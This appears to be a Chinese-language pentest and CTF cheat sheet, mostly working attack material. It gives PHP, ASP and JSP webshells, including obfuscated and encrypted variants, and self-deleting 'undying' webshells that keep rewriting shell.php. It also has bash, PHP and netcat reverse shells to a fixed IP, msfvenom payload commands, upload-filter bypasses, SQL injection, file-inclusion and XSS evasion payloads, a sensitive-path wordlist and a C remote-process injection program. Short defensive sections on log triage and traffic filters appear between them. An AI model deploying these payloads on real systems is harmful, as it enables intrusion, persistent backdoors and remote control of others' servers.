信息收集
nmap -T4 -sS -Sv 192.168.1.100 -p- # 多线程端口扫描
dirb http://192.168.1.100 # 单线程目录扫描
dirb http://192.168.1.100 -X ".tar, .zip" -t 10 # 多线程目录文件扫描
curl -X 36.6.144.192:8089 http://www.baidu.com # 代理访问
goby fofa hunter # 简单的信息收集编码加解

echo "actdream" | md5sum # 将字符串 "actdream" 转换为 MD5 哈希值
echo "actdream" | base64 # 将字符串 "actdream" 转换为 Base64 编码
echo "YWN0ZHJLYWOK" | base64 -d # 将 Base64 编码 "YWN0ZHJLYWOK" 解码
echo "%20%30%35" | xargs -d% echo # 将 URL 编码 "%20%30%35" 解码
cat 1.txt | xargs -d% echo # 处理包含多个 URL 编码的文本文件
hexdump -C 1.png # 查看图片文件 "1.png" 的十六进制表示
cat 1.txt | hexdump -ve '1/1 "%.2X"' # 将文本文件 "1.txt" 转换成十六进制格式输出字符匹配
strings filepath | grep -E "flag1|flag2" # 多字符匹配,匹配包含"flag1"或"flag2"的字符串
ps aux | grep 'root.* ./a.out$' # 使用正则匹配,从头到尾匹配字符串
find / -name flag* # 匹配前缀为"flag"的文件或目录
(\d{1,3}\.){3}\d{1,3} # 匹配ip地址文件权限
chmod +x filename # 给予文件可执行权限
chmod +r filename # 给予文件可读权限
chmod +w filename # 给予文件可写权限
chmod 755 filename # 给予执行、读权限,同时取消写权限
chmod 700 filename # 给予执行、读、写权限
chmod 777 filename # 给予最高权限
chmod 000 filename # 给予全部无权限
chmod -x filename # 取消文件可执行权限
chmod 6 filename # 给予可读、可写权限(去除文件小锁)压缩包破解


zip2john flag.zip > 1.txt # 提取 zip 压缩包的哈希值
rar2john flag.zip > 1.txt # 提取 rar 压缩包的哈希值
john 1.txt # 使用 John the Ripper 计算压缩包的密码
john 1.txt --wordlist=dict.txt # 使用指定字典文件破解哈希值
crunch 4 4 0123456789 -o 1.txt # 生成四位数密码组合,保存到 1.txt木马wf绕过
copy /b 1.jpg + 1.php 2.jpg # 复制并插入文件
echo "<?php eval(\$_POST['c']); ?>" >> 1.png # 在 PNG 文件末尾追加 PHP 代码执行
<?php fputs(fopen('shell.php', 'w'), '<?php eval($_POST["sh"]); ?>'); ?> # 写入一句话木马到 shell.php
# REQUEST 提交支持 post get
<?php system($_REQUEST["cmd"]); ?> # 使用系统命令执行
# ASP 一句话
<% eval request("cmd") %> # 使用 ASP 代码执行命令
# JSP 一句话
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %> # 使用 JSP 执行命令
# base64 编码 system
<?php $a = base64_decode("c3lzdGVt"); $a($_GET['a']); ?> # base64 解码并执行命令
# 字符拼接
<?php
$a="e"."v";
$b="a"."l";
$c=$a.$b;
$c($_POST['a']); # 拼接函数名并执行
<?php
$str="a=eval";
parse_str($str);
$a($_POST['a']); # 使用字符串拼接函数名
<?php
$a = "eval";
$a(@$_POST['a']); # 使用字符串赋值函数名
?>/*
eval - 可利用执行系统命令
system() - 执行系统命令
passthru() - 执行系统命令并输出结果
exec() - 执行系统命令并返回结果
shell_exec() - 执行系统命令并返回结果
popen() - 打开一个进程来执行系统命令
proc_open() - 执行系统命令并返回进程资源
*/反弹Shell
<?php $binary_data = file_get_contents('1.exe'); echo bin2hex($binary_data); # 将二进制文件转换为十六进制
<?php $res_data = hex2bin('hex'); file_put_contents('1.exe', $res_data); # 还原为二进制程序
data = bytes.fromhex(open('1.hex', 'r').read()) # Python3 读取16进制数据
open('output', 'wb').write(data) # 还原为二进制可执行文件
weevely generate 208 1.php # 生成木马
weevely url password # 连接木马
bash -i >& /dev/tcp/192.168.213.141/888 0 >&1 # bash 反弹shell
<?php $a = shell_exec($_GET['s']); echo "<pre>$a</pre>"; # 使用GET请求执行shell命令
<?php exec("bash -c 'bash -i >& /dev/tcp/192.168.213.141/888 0 >&1'"); # PHP反弹shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.213.141 LPORT=4444 -f exe > 1.exe # 生成Windows木马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.213.141 LPORT=4444 -f elf > 1.elf # 生成Linux木马
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.213.141 LPORT=4444 -f raw > 1.php # 生成PHP木马
# msfconsole
msfconsole -q # 启动metasploit框架
use exploit/multi/handler # 创建监听器
set payload php/meterpreter/reverse_tcp # 设置PHP payload
set payload linux/x64/meterpreter/reverse_tcp # 设置Linux payload
set payload windows/meterpreter_reverse_tcp # 设置Windows payload
set lhost 192.168.213.141 # 设置反弹主机
set lport 4444 # 设置监听端口
show options # 查看选项
run # 启动监听
getsystem # Windows提权
nc -lvp 888 # 使用netcat监听端口
bash -i >& /dev/tcp/192.168.213.141/888 0 >&1
python -c 'import pty; pty.spawn("/bin/bash")' # 启动新的bash来增强交互
nc -lvp 888 > 1.txt # 接收文件
nc 192.168.213.133 888 < 1.txt # 传输文件
nc -e cmd 192.168.100.129 4444 # Windows 反弹shell
nc -e /bin/bash 192.168.100.129 4444 # Linux 反弹shell
nc -lvp 4444 # 接收反弹shell
python3 -m http.server 80 # 启动Python HTTP服务(用于下载文件)
php -S 192.168.213.132:80 # 启动PHP HTTP服务(用于下载文件)
cat data.json | python -m json.tool # JSON格式化转换上传漏洞
// 白名单绕过:
X-Forwarded-For: 127.0.0.1 # 伪装请求源ip
// 双后缀名绕过:xxx.phpphp
MIME绕过:image/jpg
// 空格绕过:xxx.jpg空格
.htaccess绕过:AddType application/x-httpd-php .jpg
// 大小写绕过:phP PHP Php
.user.ini绕过:auto_prepend_file=a.jpg auto_append_file=a.jpg
// 文件头绕过:GIF89a 89504E47 FFD8FF
后缀:Php php2 php3 php4 php5 php6 php7 pht phtm phtml
<scrip language="php">@eval($_POST['c']);<script>
<?php eval($_POST['sh']);
<? eval($_POST['sh']); # 去php头绕过
// 可利用执行函数
eval()
system()
exec()
shell_exec() //(反引号也可以)
passthru()
pcntl_exec()
popen()
proc_open()
create_function()SQL注入语句
sqlmap -r 1.txt -dbs -batch
sqlmap -r 1.txt -D test -tables -batch
sqlmap -r 1.txt -D test -T note -columns -batch
sqlmap -r 1.txt -D test -T note -C user,pass -batch # sqlmap工具
sqlmap -m 1.txt --batch # 批量注入
1' or '1' = '1 # 字符型绕过
0' union select 1,2,3 --+
0' union select 1,version(), database()
#堆叠注入
1'; show databases;# 显示数据库
1'; show tables;# 查看表名
1'; show columns from note# 查看表字段
id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='note' --+ # 查看字段
id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='fl4g' --+ # 查看字段
id=0' union select 1,group_concat(fllllag),3 from note.fl4g --+ # 查看字段内容代码加固
$str = "Is your name O'reilly?";
echo addslashes($str); // 简单加反斜杠
// 输出结果:Is your name O\'reilly?
$str = "Is y\our name O\\'reilly\\\?";
echo stripslashes($str); // 简单去除反斜杠
// 输出结果:Is your name O'reilly\?
$str = "<script>alert('test')</script>";
echo htmlspecialchars($str); // XSS 简单防御
// 输出结果:<script>alert('test')</script>
$str = "select * from users where user_id =1' and 1=1 #";
echo addslashes($str); // SQL注入简单防御
// 输出结果:select * from users where user_id =1\' and 1=1 #系统排查
eventvwr.msc # 事件查看器,查看登录、注销、错误等事件
4624 登录成功
4625 登录失败
4634 注销成功
4647 用户启动注销
4672 使用管理员进行登录
4720 创建用户
# 文件时间排序排查,文件名称可疑排查
%UserProfile%\Recent # 最近操作
%temp% # 临时缓存
%appdata% # 应用数据目录
gpedit.msc # 组策略
systeminfo # 系统信息
services.msc # 应用服务
netstat -ano | findstr ES # 排查可疑网络连接
net user # 查看本地用户
net user Guest # 查看用户详细信息
lusrmgr.msc # 本地用户组
regedit # 注册表
msconfig # 打开启动项
taskschd.msc # 任务计划
# Linux 命令
/var/log/cron # 系统定时任务相关日志
/etc/rc.local
/var/log/dmesg # 开机自检信息
/var/log/lastlog # 最后一次登录日志
/var/log/auth.log # 记录验证和授权 如SSH登录、su切换用户、sudo授权
/etc/crontab # 启动项
/etc/profile # 环境变量
cat /etc/passwd # 查看用户是否有可疑
cat /etc/passwd | grep x:0 # 新增的就可能存在
cat /etc/passwd | grep /bin/bash # 查看使用shell的用户
ls -l /proc/XXX/XXXX # 查看对应文件路径
ps –aux | grep pid # 查看pid对应的程序
top -p pid # 监控指定进程
userdel -r xp # 删除用户 并将/home目录下的user目录一并删除
grep -o "Failed password" /var/log/secure|uniq -c # 查看登录失败次数
history # 查看终端命令历史命令
stat /etc/passwd # 查看文件近期修改
ls -lt --time=ctime # 查看最近被修改过的文件
ls -lt --time=ctime /home/kali # 指定文件路径
crontab -l # 查看启动项
creontab -e # 编辑启动项
uname -r # 查看内核版本
rpm -qa | grep apache # 查看是否有这样的软件
ps -ef | grep apache # 查询apache 进程
service httpd restart # 重启httpd
firewall-cmd --zone=public --add-port=80/tcp --permanent # 开放80端口
firewall-cmd --reload # 重启防火墙
firewall-cmd --list-ports # 显示运行通过端口
rpm -qa # 查询软件包
service mariadb status # 查看服务状态
service mariadb start # 启动服务
service mariadb restart # 重启服务
rpm -e openssh-server # 删除软件文件包含
?file=data://text/plain,<?php system('ls'); // 使用PHP系统命令来列出文件列表
?file=data://text/plain,<?php system('tac flag.php'); # 查看文件内容
?file=data://text/plain,<?=system('tac flag*'); // 绕过后缀过滤查看所有以flag开头的文件内容
?file=/var/log/nginx/access.log&2=system('ls /var/www/html');phpinfo(); // 访问日志和文件列表操作
?file=/var/log/nginx/access.log&2=system('tac /var/www/html/fl0g.php');phpinfo(); // 查看 /var/www/html/fl0g.php 文件内容 程序特征码
易语言按钮征码:
查找二进制字符串 FF25,看是否有很多 JMP 堆叠在一起,如果有则很可能是易语言程序。
FF 55 FC 5F 5E
MFC类程序:
运行程序然后就 CTRL+F,查找特征代码: sub eax,0a
断下后 F7 跟进就会来到按钮事件代码处了!(如果没有 CALL,则跳过此处,即此处不为按钮事件)
(或者不用 F7,直接 enter 回车跟入跳转,在 call 处下断点)
Delphi BC++程序:
740E8BD38B83????????FF93????????
万能断点:
OD 选择查看->模块->USER32,在模块内查找二进制字符串,下断点后执行到断点,使用 alt+F9 回到用户代码。
F3A58BC883E103F3A4E8
条件断点:
[ebp-4]!=0x4010AC
总结:
MFC: sub eax,0a
VC++6.0: sub eax,0a
VB语言: 81 6C 24
易语言: FF 55 FC 5F 5E 或 (e-debug)
万能断点: F3 A5 8B C8 83 E1 03 F3 A4 E8 Z(User32 模块下断)
Delphi: 74 0E 8B D3 8B 83 ?? ?? ?? ?? FF 93 ?? ?? ?? ??
蓝屏保护特征码: 55 8B EC BB 06 00 00 00
蓝屏防御特征码: 55 8B EC 81 EC 14 00 00 00 68 0C 00 00 00
API函数断点追数据,比如断点 MessageBoxA 断下来了,
就按快捷键 ctrl + F9 返回,到 ret 再按 F8,一直往上追数据。.git
.git/HEAD
.git/index
.git/config
.git/description
source
source.php
.idea/workspace.xml
source.php.bak
.source.php.bak
source.php.swp
README.MD
README.md
README
.gitignore
/db/db.mdb
.svn
.svn/wc.db
.svn/entries
user.php.bak
.hg
.DS_store
WEB-INF/web.xml
WEB-INF/src/
WEB-INF/classes
WEB-INF/lib
WEB-INF/database.propertie
CVS/Root
CVS/Entries
.bzr/
%3f
%3f~
.%3f.swp
.%3f.swo
.%3f.swn
.%3f.swm
.%3f.swl
_viminfo
.viminfo
%3f~
%3f~1~
%3f~2~
%3f~3~
%3f.save
%3f.save1
%3f.save2
%3f.save3
%3f.bak_Edietplus
%3f.bak
%3f.back
phpinfo.php
robots.txt
.htaccess
.bash_history
.svn/
.git/
.index.php.swp
index.php.swp
index.php.bak
.index.php~
index.php.bak_Edietplus
index.php.~
index.php.~1~
index.php
index.php~
index.phps
index.php.rar
index.php.zip
index.php.7z
index.php.tar.gz
index.php.txt
login.php
register
register.php
test.php
upload.php
phpinfo.php
t.php
www.zip
www.rar
www.7z
www.tar.gz
www.tar
web.zip
web.rar
web.zip
web.7z
web.tar.gz
web.tar
plus
qq.txt
log.txt
wwwroot.rar
web.rar
dede
admin
edit
Fckeditor
ewebeditor
bbs
Editor
manage
shopadmin
web_Fckeditor
login
webadmin
admin/WebEditor
admin/daili/webedit
login/
database/
tmp/
manager/
manage/
web/
admin/
shopadmin/
wp-includes/
edit/
editor/
user/
users/
admin/
home/
test/
administrator/
houtai/
backdoor/
flag/
upload/
uploads/
download/
downloads/
manager/
root.zip
root.rar
wwwroot.zip
wwwroot.rar
backup.zip
backup.rar
.svn/entries
.git/config
.ds_store
flag.php
fl4g.php
f1ag.php
f14g.php
admin.php
4dmin.php
adm1n.php
4dm1n.php
admin1.php
admin2.php
adminlogin.php
administrator.php
login.php
register.php
upload.php
home.php
log.php
logs.php
config.php
member.php
user.php
users.php
robots.php
info.php
phpinfo.php
backdoor.php
fm.php
example.php
mysql.bak
a.sql
b.sql
db.sql
bdb.sql
ddb.sql
users.sql
mysql.sql
dump.sql
data.sql
backup.sql
backup.sql.gz
backup.sql.bz2
backup.zip
rss.xml
crossdomain.xml
1.txt
flag.txt
/wp-config.php
/configuration.php
/sites/default/settings.php
/config.php
/config.inc.php
/conf/_basic_config.php
/config/site.php
/system/config/default.php
/framework/conf/config.php
/mysite/_config.php
/typo3conf/localconf.php
/config/config_global.php
/config/config_ucenter.php
/lib
/data/config.php
/data/config.inc.php
/includes/config.php
/data/common.inc.php
/caches/configs/database.php
/caches/configs/system.php
/include/config.inc.php
/phpsso_server/caches/configs/database.php
/phpsso_server/caches/configs/system.php
404.php
index.html
user/
users/
admin/
home/
test/
administrator/
houtai/
backdoor/
flag/
uploads/
download/
downloads/
manager/
phpmyadmin/
phpMyAdmin/{/collapse-item}
XSS语句
<script>alert(1);</script> <!-- 基本XSS漏洞 -->
<body onscroll=alert("xss");> <!-- 滚动时触发XSS -->
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus> <!-- 自动聚焦 -->
<body/onload=alert("xss");> <!-- 页面加载时触发XSS -->
<audio src=x onerror=alert("xss");> <!-- 音频错误时触发XSS -->
<video><source onerror="alert(1)"> <!-- 视频播放错误触发XSS -->
<iframe onload=alert("xss");></iframe> <!-- iframe加载时触发XSS -->
<svg onload=alert("xss");> <!-- SVG加载时触发XSS -->
<details open ontoggle="alert('xss');"> <!-- 可折叠元素切换时触发XSS -->
<input onfocus="alert('xss');"> <!-- 输入框聚焦时触发XSS -->
<scirpt>alert("xss");</script> <!-- 脚本标签 -->
<textarea onfocus=alert("xss"); autofocus> <!-- 多行文本框 -->
<a href="javascript:alert(`xss`);">xss</a> <!-- 超链接触发XSS -->
<a href="javascript:alert(`xss`);">xss</a> # 空格绕过 / 代替空格
<ImG sRc=x onerRor=alert("xss");> # 大小写绕过
<imimgg srsrcc=x onerror=alert("xss");> # 双写字绕过
<img src="x" onerror="a=`alert`;b=`(`;c='xss`;eval(a+b+c)"> # 字符拼接
<!-- Unicode编码绕过 -->
<img src="x" onerror="alert("xss");">
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
<!-- url编码绕过 -->
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<!-- ascii码绕过 -->
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
<!-- hex绕过 -->
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
<!-- 八进制绕过 -->
<img src=x onerror=alert('\170\163\163')>
<!-- base64绕过 -->
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<!-- 十进制IP -->
<img src="x" onerror=document.location=`http://2130706433/`>
<!-- 八进制IP -->
<img src="x" onerror=document.location=`http://0177.0.0.01/`>
<!-- 十六进制 -->
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>流量过滤
ftp http arp udp telnet smtp
username password
flag{ flag Rar PK .rar .zip .png .py .tar.gz .7z .jpg
666c6167
f
JFIF # 关键字文件搜索
nbns # 查找主机名称
http contains "robots.txt" or http.request.uri contains "robots.txt" # 查看robots.txt
ftp contains "USER" and ftp contains "PASS" # 查找账号密码
http contains "uname" # 查看内核版本
http contains "www-data" or http contains "root" # 查看shell连接后权限
http.request.uri contains "login" or http.request.uri contains "admin" # 查找url存在login或admin
tcp.connection.syn # 查看tcp第一次访问
ftp contains "USER" # 过滤FTP账号
http contains "404" # 搜索被爆破哪些目录
tcp.flags.syn==1 # 查看被扫描了哪些端口
tcp.flags.syn==1 and ip.src==192.168.213.145 # 查看哪些端口被扫描 - 开放
http.request.method == POST or http contains "submit" # 查找表单关键字
http.response.code==200 and http contains "database" # 查看数据库请求成功后
http contains ".log" # 查看存在日志关键字
http contains "<?php eval"
http contains "<?php @eval" # 过滤内容存在一句话木马
http.request.uri contains "shell.php" # 过滤url存在敏感文件
ip.port == 3306 and http contains "version=" # mysql版本
http contains "whoami" or http contains "ls" # 查看被入侵后
http contains "acunetix" # 搜索扫描工具特征
一般扫描工具:Awvs, Netsparker, Appscan,
Webinspect, Rsas, Nessus, WebReaver, Sqlmap不死马
<?php
// 忽略用户断开请求,保证脚本持续运行
ignore_user_abort(true);
// 设置脚本执行时间无限制
set_time_limit(0);
// 删除当前脚本自身,防止重复执行
unlink(__FILE__);
// 定义新的shell.php文件名
$file = 'shell.php';
// 编写webshell代码,包含密码验证和命令执行
$code = '<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>';
// 无限循环生成shell.php文件
while (1) {
// 写入webshell代码到文件
file_put_contents($file, $code);
// 修改文件修改时间,防止被删除
system('touch -m -d "2020-12-01 09:10:12" shell.php');
// 每隔5秒执行一次
usleep(5000);
}
?>
// passwd=AabyssTeam
// POST传参:passwd=AabyssTeam&cmd=system('ls');<?php
// 设置脚本执行时间无限制
set_time_limit(0);
// 忽略用户断开请求,脚本将后台运行
ignore_user_abort(1);
// 删除当前脚本自身,防止重复执行
unlink(__FILE__);
// 无限循环生成shell.php文件
while(1) {
// 创建shell.php文件并写入简单的webshell代码
file_put_contents('shell.php','<?php @eval($_POST["cmd"]);?>');
// 间隔时间,防止过于频繁
sleep(0);
}
?>Linux信息收集
// 检查系统发行版本信息
cat /etc/issue // 显示系统发行信息
cat /etc/*-release // 显示系统发行版本
cat /etc/lsb-release // 显示 LSB (Linux Standard Base) 发行版本
cat /etc/redhat-release // 显示 Red Hat 发行版本DES Webshell
<?php
$a = $_GET['cmd']; // 从 URL 参数中获取 cmd 参数
$key = 'qaswedfr'; // 加密密钥
$decryptedData = openssl_decrypt(base64_decode($a), 'DES-ECB', $key, OPENSSL_RAW_DATA); // 使用 DES-ECB 解密数据
$flag = ""; // 存储解密后的数据
// 对每个解密后的字符使用异或运算处理
for($i=0; $i<strlen($decryptedData); $i++){
$test = $decryptedData[$i];
$flag .= chr(ord($test) ^ 0x10); // 使用 XOR 运算处理字符
echo "<br />";
}
echo $flag; // 输出解密后的数据
system($flag); // 执行解密后的命令
?><?php
// 定义解密函数
function iJG($BHM) {
$BHM = gzinflate(base64_decode($BHM)); // 使用 base64 解码和 inflate 解压缩
for($i=0; $i<strlen($BHM); $i++) {
$BHM[$i] = chr(ord($BHM[$i]) - 1); // 每个字符减去 1
}
return $BHM;
}
// 调用解密函数,传入加密数据
eval(iJG("U1QEAm4QkVaelKupmhAYEBIao1yYVFJSUVCcqhynZcPtYA8A"));
?>Webshell大马

#include <windows.h> // Windows API
#include <stdio.h> // 标准输入/输出库
#include <string.h> // 字符串处理库
#include <tlhelp32.h> // 进程快照和工具帮助库
// 获取指定进程名的进程ID
WORD GetProcessIdByName(const char *processName)
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
return 0;
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, &pe32))
{
do
{
if (strcmp(pe32.szExeFile, processName) == 0)
{
CloseHandle(hSnapshot);
return pe32.th32ProcessID;
}
} while (Process32Next(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
return 0;
}
// 主函数
int main()
{
const char *targetProcessName = "0.exe"; // 目标进程名称
DWORD pid = GetProcessIdByName(targetProcessName); // 获取目标进程ID
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); // 打开目标进程,赋予所有访问权限
if (hProcess == NULL)
{
return 1;
}
// 分配远程内存用于存储注入代码
LPVOID pCode = VirtualAllocEx(hProcess, NULL, 1024, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pCode == NULL)
{
CloseHandle(hProcess);
return 1;
}
// 定义注入的机器码
BYTE Hexcode[] = {
0xC8, 0x00, 0x00, 0x00, // enter 0,0
0x68, 0x01, 0x00, 0x01, 0x52, // push 52010001
0xBB, 0x60, 0x38, 0x44, 0x00, // mov ebx, 0x443860
0xFF, 0xD3, // call ebx
0x83, 0xC4, 0x04, // add esp, 0x4
0x6A, 0x00, // push 0x0
0x6A, 0x01, // push 0x1
0x6A, 0xFF, // push 0xFFFFFFFF
0x6A, 0x05, // push 0x5
0x68, 0x00, 0x00, 0x01, 0x06, // push 0x6010000
0x68, 0x01, 0x00, 0x01, 0x52, // push 0x52010001
0xBB, 0x00, 0x38, 0x44, 0x00, // mov ebx, 0x443800
0xFF, 0xD3, // call ebx
0x83, 0xC4, 0x18, // add esp, 0x18
0x6A, 0x00, // push 0x0
0x6A, 0x00, // push 0x0
0x6A, 0xFF, // push 0xFFFFFFFF
0x6A, 0x06, // push 0x6
0x68, 0x00, 0x00, 0x01, 0x06, // push 0x6010000
0x68, 0x01, 0x00, 0x01, 0x52, // push 0x52010001
0xBB, 0x00, 0x38, 0x44, 0x00, // mov ebx, 0x443800
0xFF, 0xD3, // call ebx
0x83, 0xc4, 0x18, // add esp, 0x18
0xBB, 0x30, 0x38, 0x44, 0x00, // mov ebx, 0x443830
0xFF, 0xD3, // call ebx
0xC9, // leave
0xC3 // ret
};
// 将机器码写入远程进程内存
if (!WriteProcessMemory(hProcess, pCode, Hexcode, sizeof(Hexcode), NULL))
{
VirtualFreeEx(hProcess, pCode, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
// 创建远程线程执行注入的机器码
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pCode, NULL, 0, NULL);
if (hThread == NULL)
{
VirtualFreeEx(hProcess, pCode, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
// 等待线程执行完成
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProcess, pCode, 0, MEM_RELEASE); // 释放远程内存
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}{/collapse-item}
评论 (0)